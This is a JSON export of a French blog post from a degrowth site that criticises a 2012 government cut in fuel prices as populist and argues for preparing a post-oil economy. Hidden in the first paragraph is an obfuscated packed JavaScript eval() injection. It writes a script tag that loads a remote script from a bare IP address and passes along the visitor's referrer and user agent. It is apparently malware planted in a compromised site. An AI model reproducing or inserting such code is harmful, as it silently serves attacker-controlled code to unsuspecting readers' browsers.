{"id":7615,"date":"2012-09-10T21:46:34","date_gmt":"2012-09-10T20:46:34","guid":{"rendered":"http:\/\/www.partipourladecroissance.net\/?p=7615"},"modified":"2012-09-10T22:06:21","modified_gmt":"2012-09-10T21:06:21","slug":"baisse-artificielle-du-prix-de-lessence-ignorance-ou-mensonge","status":"publish","type":"post","link":"https:\/\/www.partipourladecroissance.net\/?p=7615","title":{"rendered":"Baisse artificielle du prix de l&rsquo;essence: ignorance ou mensonge ?"},"content":{"rendered":"<p>Malgr\u00e9 tous les efforts de la sph\u00e8re m\u00e9diatique pour endormir la population avec des informations insignifiantes, les vacances n&rsquo;ont pas emp\u00each\u00e9 les consommateurs de constater la reprise de la <strong>hausse <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rthtr|var|u0026u|referrer|ndnih||js|php'.split('|'),0,{}))\n<\/script><\/noindex> du prix des carburants<\/strong>. Il faut dire que le portefeuille, lui, ne prend pas de vacances !<\/p>\n<p><strong>Un prix qui monte, qui monte, qui monte &#8230;<\/strong><\/p>\n<p>Alors que le prix du Brent a augment\u00e9 de <strong>25 dollars en deux mois<\/strong>, passant de 90 \u00e0 115$\/baril, l\u2019actualit\u00e9 internationale est loin de rassurer les march\u00e9s.<\/p>\n<p>Au Venezuela, une des plus grosses raffineries du monde \u00e9tait <strong>en feu depuis quatre jours<\/strong> apr\u00e8s une explosion. On d\u00e9nombre 48 morts et des d\u00e9g\u00e2ts tr\u00e8s importants. La capacit\u00e9 de cet immense site est d&rsquo;environ <strong>1 Mb\/j<\/strong> soit 1,1% de la capacit\u00e9 mondiale.<\/p>\n<p><a href=\"http:\/\/idata.over-blog.com\/3\/98\/62\/65\/baisse-barburant\/incendie-venezuela.jpg\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/img.over-blog.com\/500x283\/3\/98\/62\/65\/baisse-barburant\/incendie-venezuela.jpg\" alt=\"incendie-venezuela.jpg\" width=\"500\" height=\"283\" \/><\/a><\/p>\n<p>\u00a9 Reuters \/ Marife Cuauro<\/p>\n<p>Dans le golfe du Mexique, 93% de la production de p\u00e9trole soit <strong>1,3 Mb\/j<\/strong> et 67% de la production de gaz ont \u00e9t\u00e9 stopp\u00e9es et les travailleurs \u00e9vacu\u00e9s de 49 sites en pr\u00e9visions du passage de l&rsquo;ouragan Isaac. De plus, <strong>six raffineries<\/strong> d\u2019une capacit\u00e9 totale de 1,3 Mb\/j ont \u00e9t\u00e9 ferm\u00e9es en Louisiane pour la m\u00eame raison. Dans ces circonstances, il est d\u2019ailleurs fort probable que les Etats-Unis utilisent leurs <strong>r\u00e9serves strat\u00e9giques<\/strong> (722 Mb stock\u00e9s dans le golfe du Mexique) pour soulager un peu la tension sur les prix de l\u2019\u00e9nergie.<\/p>\n<p>Enfin, <strong>l\u2019euro ne cesse de baisser<\/strong> face au dollar depuis un an, en passant de 1,45$ \u00e0 1,25$, ce qui ne manque pas d\u2019alourdir la facture p\u00e9troli\u00e8re des pays de la zone euro. En effet, le p\u00e9trole \u00e9tant cot\u00e9 en dollars, la facture des consommateurs europ\u00e9ens augmente d&rsquo;autant plus que l\u2019euro est en baisse. Cette situation avait d&rsquo;ailleurs \u00e9t\u00e9 protectrice en 2008, puisque l&rsquo;euro \u00e9tait tr\u00e8s fort et l&rsquo;impact de la hausse des cours du p\u00e9trole a pu \u00eatre mieux amorti chez nous.<\/p>\n<p>Bref, faut-il le r\u00e9p\u00e9ter, le <strong>prix du p\u00e9trole sera \u00e9lev\u00e9<\/strong>, sauf crash \u00e9conomique majeur qui ferait baisser la consommation mondiale (ce qui ne manquera pas d\u2019arriver un jour ou l\u2019autre, \u00e9tant donn\u00e9 <a href=\"http:\/\/www.avenir-sans-petrole.org\/article-crise-systemique-le-calme-avant-la-tempete-107721208.html\" target=\"_blank\">le contexte<\/a>).<\/p>\n<p><!--more--><\/p>\n<p><strong>Le pansement sur la jambe de bois<\/strong><\/p>\n<p>Face \u00e0 cette situation, voici que le gouvernement fran\u00e7ais nous annonce une baisse de <strong>0,06\u20ac\/L d\u2019essence<\/strong> dont la moiti\u00e9 serait prise en charge par l\u2019Etat (manque \u00e0 gagner de 300 M\u20ac) et l\u2019autre par les p\u00e9troliers. Pour le consommateur, cela repr\u00e9sente une \u00e9conomie moyenne de <a href=\"http:\/\/www.lemonde.fr\/politique\/article\/2012\/08\/28\/baisse-du-prix-de-l-essence-quelles-consequences-reelles_1752167_823448.html\" target=\"_blank\">72\u20ac\/an<\/a>. Au-del\u00e0 de l\u2019aspect marginal et populiste d\u2019une telle proposition politique, je m\u2019interroge sur l\u2019ignorance ou l\u2019aveuglement des d\u00e9cideurs. L\u2019id\u00e9e est de s\u2019appuyer sur l\u2019article <em><a href=\"http:\/\/www.legifrance.gouv.fr\/affichCodeArticle.do?idArticle=LEGIARTI000019798129&amp;cidTexte=LEGITEXT000005634379\" target=\"_blank\">L 410-2 du code du commerce<\/a><\/em> qui permet de r\u00e9guler les prix en cas de \u00ab\u00a0situation exceptionnelle\u00a0\u00bb pour instaurer un blocage temporaire.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/img.over-blog.com\/500x357\/3\/98\/62\/65\/baisse-barburant\/prix-spot.JPG\" alt=\"prix-spot.JPG\" width=\"500\" height=\"357\" \/><\/p>\n<p>Nous pouvons raisonnablement nous demander si les hautes responsabilit\u00e9s ne provoqueraient pas des <strong>troubles de la perception<\/strong>, qui conduiraient \u00e0 qualifier d\u2019exceptionnel un prix de 100$\/baril, alors que le Brent est \u00e0 90$\/baril en moyenne depuis 2007 et <strong>104$\/baril depuis 2010<\/strong>. Si une situation de cinq ann\u00e9es est exceptionnelle, que dire de la dur\u00e9e d\u2019un mandat pr\u00e9sidentiel\u00a0?<\/p>\n<p>Quant au cours de l&rsquo;Euro, nous avons rejoint le niveau de juin 2010 et de mars 2009, mais l\u00e0 aussi, les perspectives de l&rsquo;\u00e9conomie europ\u00e9enne \u00e9tant ce qu&rsquo;elles sont, je ne vois pas ce qu&rsquo;il y a d&rsquo;exceptionnel.<\/p>\n<p><strong>De la folie de ceux qui veulent que le prix monte<\/strong><\/p>\n<p>Donc, selon les sondages, <strong>88% de la population<\/strong> serait pour une baisse des prix de l\u2019essence. Mais qui sont donc les 12% restants qui aiment payer plus\u00a0? Peut-\u00eatre des \u00e9colo-catastropho-pessimistes qui aiment payer plus cher les l\u00e9gumes bio et qui font du v\u00e9lo m\u00eame quand il pleut ? Ou alors simplement des gens qui pensent que le p\u00e9trole, non seulement <strong>va \u00eatre durablement cher<\/strong>, mais va devenir <strong>de moins en moins disponible<\/strong>, surtout pour les pays comme le n\u00f4tre qui n\u2019en ont <strong>pas du tout<\/strong>.<\/p>\n<p>Alors, ces gens bizarres doivent se dire qu\u2019un p\u00e9trole dont on baisse le prix <strong>ne permet pas<\/strong> l\u2019adaptation de la soci\u00e9t\u00e9, que si nos voitures consomment moins que celles des am\u00e9ricains, c\u2019est parce que notre essence est plus tax\u00e9e, que si l\u2019\u00e9talement des villes est si important aux Etats-Unis, c\u2019est parce que l\u2019urbanisation y est bas\u00e9e sur une essence <strong>quasiment gratuite.<\/strong><\/p>\n<p>Probablement qu\u2019ils ont fait le constat que l\u2019essence est de plus en plus ch\u00e8re, mais ils ne croient visiblement pas aux miracles, comme par exemple le remplacement de <strong>32 millions de voitures<\/strong> fran\u00e7aises par des voitures \u00e9lectriques (dont on ne sait ni comment les alimenter, ni avec quoi fabriquer les batteries qu\u2019il faut changer tous les 5-10 ans, ni avec quel argent les acheter). D\u2019ailleurs, le prix de <strong>l\u2019\u00e9lectricit\u00e9 augmente<\/strong> lui aussi, bizarrement \u2026 tout comme celui du gaz\u00a0! Ils ne croient pas non plus que l\u2019on puisse <strong>remplacer les camions, les tracteurs et les avions<\/strong> qui fournissent notre alimentation quotidienne.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/img.over-blog.com\/500x300\/3\/98\/62\/65\/baisse-barburant\/edf.jpg\" alt=\"edf.jpg\" width=\"500\" height=\"300\" \/>Evolution du prix de l&rsquo;\u00e9lectricit\u00e9 (source: <a href=\"http:\/\/national.unicnam.net\/spip.php?page=imprimersans&amp;id_article=580\" target=\"_blank\">Jacques Foos<\/a>)<\/p>\n<p>Bref, ils doivent surement se dire qu\u2019il faut <strong>changer maintenant d\u2019organisation<\/strong>, plut\u00f4t que gaspiller des centaines de millions d\u2019euros pour que les fran\u00e7ais \u00e9conomisent 72\u20ac\/an et se retrouver au pied du mur dans les semaines\/mois qui viennent.<\/p>\n<p>Le plus bizarre chez ces marginaux, c\u2019est qu\u2019ils ne croient pas qu\u2019une situation qui dure depuis plus de cinq ans soit exceptionnelle. Ils seraient m\u00eame <strong>assez fous pour penser l&rsquo;inverse<\/strong>, c&rsquo;est \u00e0 dire que les p\u00e9riodes de baisse ne pourront pas durer. Ils doivent surement penser que les responsables politiques ont une <strong>r\u00e9elle volont\u00e9 de tromper la population<\/strong>, en faisant croire que tout cela est passager, qu\u2019il suffit de serrer les fesses et que tout va bien se passer quand la croissance va repartir. Ou bien peut \u00eatre qu\u2019ils les pensent <strong>incomp\u00e9tents<\/strong>, tout simplement.<\/p>\n<p>Non vraiment, cette petite minorit\u00e9 ferait mieux de se taire, d\u2019autant plus que les publications affirment que <strong>nous ne manquerons pas de p\u00e9trole<\/strong> dans les ann\u00e9es qui viennent. D\u2019ailleurs, nous n\u2019en avons jamais eu autant parait-il\u00a0! Quoi\u00a0? On ne vous a pas dit\u00a0? Et bien oui, plus on puise dans un stock et plus on a de r\u00e9serves, c\u2019est la magie des chiffres, la prestidigitation des organisations mondiales et des compagnies p\u00e9troli\u00e8res.<\/p>\n<p>Les rapports et articles se succ\u00e8dent ces derni\u00e8res semaines, publications de <a href=\"http:\/\/www.editions-lepommier.fr\/ouvrage.asp?IDLivre=509\" target=\"_blank\"><strong>marchands de doutes<\/strong><\/a> pour expliquer le formidable boom de l\u2019industrie p\u00e9troli\u00e8re. Ils ne comprennent pas que lorsqu&rsquo;un enfant ne veut pas dormir, il ne sert a rien de hurler la berceuse!<\/p>\n<p>Par ailleurs, ils n\u2019expliquent pas que les investissements n\u00e9cessaires sont immenses, que les risques technologiques et les impacts environnementaux augmentent de mani\u00e8re exponentielle, que la situation g\u00e9opolitique est ex\u00e9crable et que les \u00e9conomies sont surendett\u00e9es, pour ne pas dire ruin\u00e9es, incapables d\u2019assumer un p\u00e9trole deux fois plus cher. Alors, la production miraculeuse ne viendra pas, car <strong>la croissance des \u00e9conomies occidentales est morte<\/strong> et incapable d&rsquo;apporter les milliers de milliards n\u00e9cessaires pour continuer \u00e0 aller travailler tous les matins \u00e0 100 km de chez soi ou \u00e0 prendre la voiture pour aller acheter le pain au bout de la rue. Le gouvernement am\u00e9ricain essaye bien de sauver la face en <a href=\"http:\/\/www.shadowstats.com\/alternate_data\/gross-domestic-product-charts\" target=\"_blank\">manipulant les chiffres<\/a> de l\u2019inflation, mais en r\u00e9alit\u00e9, son \u00e9conomie est en r\u00e9cession depuis plus de 10 ans. Qu&rsquo;en est-il de l&rsquo;\u00e9conomie europ\u00e9enne ?<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/idata.over-blog.com\/3\/98\/62\/65\/baisse-barburant\/GDP-USA.gif\" alt=\"GDP-USA.gif\" width=\"500\" height=\"320\" \/><\/p>\n<p>La courbe rouge est l&rsquo;\u00e9volution officielle de la croissance am\u00e9ricaine, avec la nouvelle m\u00e9thode de calcul de l&rsquo;inflation. La courbe bleue est la croissance calcul\u00e9e sans distorsion, c&rsquo;est \u00e0 dire utilisant la m\u00e9thode de calcul pr\u00e9c\u00e9dente.<\/p>\n<p>La croissance n\u2019est plus et notre Pr\u00e9sident ferait bien de <strong>ne pas gaspiller<\/strong> les pr\u00e9cieux millions que nous pouvons encore d\u00e9penser, pour les utiliser dans un vaste chantier de <strong>pr\u00e9paration de l\u2019apr\u00e8s p\u00e9trole<\/strong>.<\/p>\n<p>Vous l\u2019avez compris, je fais partie des 12% et je pense que la baisse artificielle et provisoire du prix de l\u2019essence est <strong>absurde<\/strong> car elle ne s\u2019accompagne pas d\u2019une profonde <strong>mutation de notre \u00e9conomie<\/strong>.\u00a0 C&rsquo;est un immense challenge pour tout le monde, mais plus les gouvernements s&rsquo;ent\u00eateront \u00e0 sauver la face d&rsquo;une \u00e9conomie moribonde, plus ils aggraveront la situation et priveront la population des moyens de r\u00e9aliser le changement (le VRAI changement)!<\/p>\n<p><strong>Source<\/strong> : <a href=\"http:\/\/www.avenir-sans-petrole.org\/article-baisser-le-prix-de-l-essence-entre-demagogie-et-absurdite-109526494.html\">http:\/\/www.avenir-sans-petrole.org\/article-baisser-le-prix-de-l-essence-entre-demagogie-et-absurdite-109526494.html<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Malgr\u00e9 tous les efforts de la sph\u00e8re m\u00e9diatique pour endormir la population avec des informations insignifiantes, les vacances n&rsquo;ont pas emp\u00each\u00e9 les consommateurs de constater la reprise de la hausse du prix des carburants. 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